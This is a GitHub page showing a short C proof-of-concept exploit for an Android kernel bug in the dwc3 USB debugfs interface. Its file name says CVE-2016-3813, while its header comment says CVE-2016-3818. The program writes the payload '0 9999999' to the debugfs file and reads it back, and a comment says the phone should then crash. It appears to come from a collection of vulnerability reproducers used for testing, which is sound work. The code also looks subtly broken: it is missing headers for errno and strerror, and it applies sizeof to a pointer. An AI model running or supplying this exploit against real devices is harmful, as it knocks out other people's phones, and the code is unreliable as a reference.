-
Notifications
You must be signed in to change notification settings - Fork 203
/
CVE-2016-3813.c
44 lines (37 loc) · 947 Bytes
/
CVE-2016-3813.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/*** CVE-2016-3818.c
*
* https://code.google.com/p/android/issues/detail?id=206298
* https://android.googlesource.com/kernel/msm.git/+/android-msm-bullhead-3.10-n-preview-1/drivers/usb/dwc3/debugfs.c#647
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <strings.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <inttypes.h>
static const char *dev = "/sys/kernel/debug/f9200000.dwc3";
static const char *str = "0 9999999";
int main(void)
{
int fd;
char save[15] = { 0 };
fd = open(dev, O_RDWR);
if (fd < 0) {
printf("Failed to open %s with %s\n", dev, strerror(errno));
return EXIT_FAILURE;
}
if (write(fd, str, sizeof(str)) != sizeof(str)) {
printf("failed to write entire payload\n");
close(fd);
return EXIT_FAILURE;
}
read(fd, save, sizeof(save));
/* phone should crash */
return EXIT_FAILURE;
}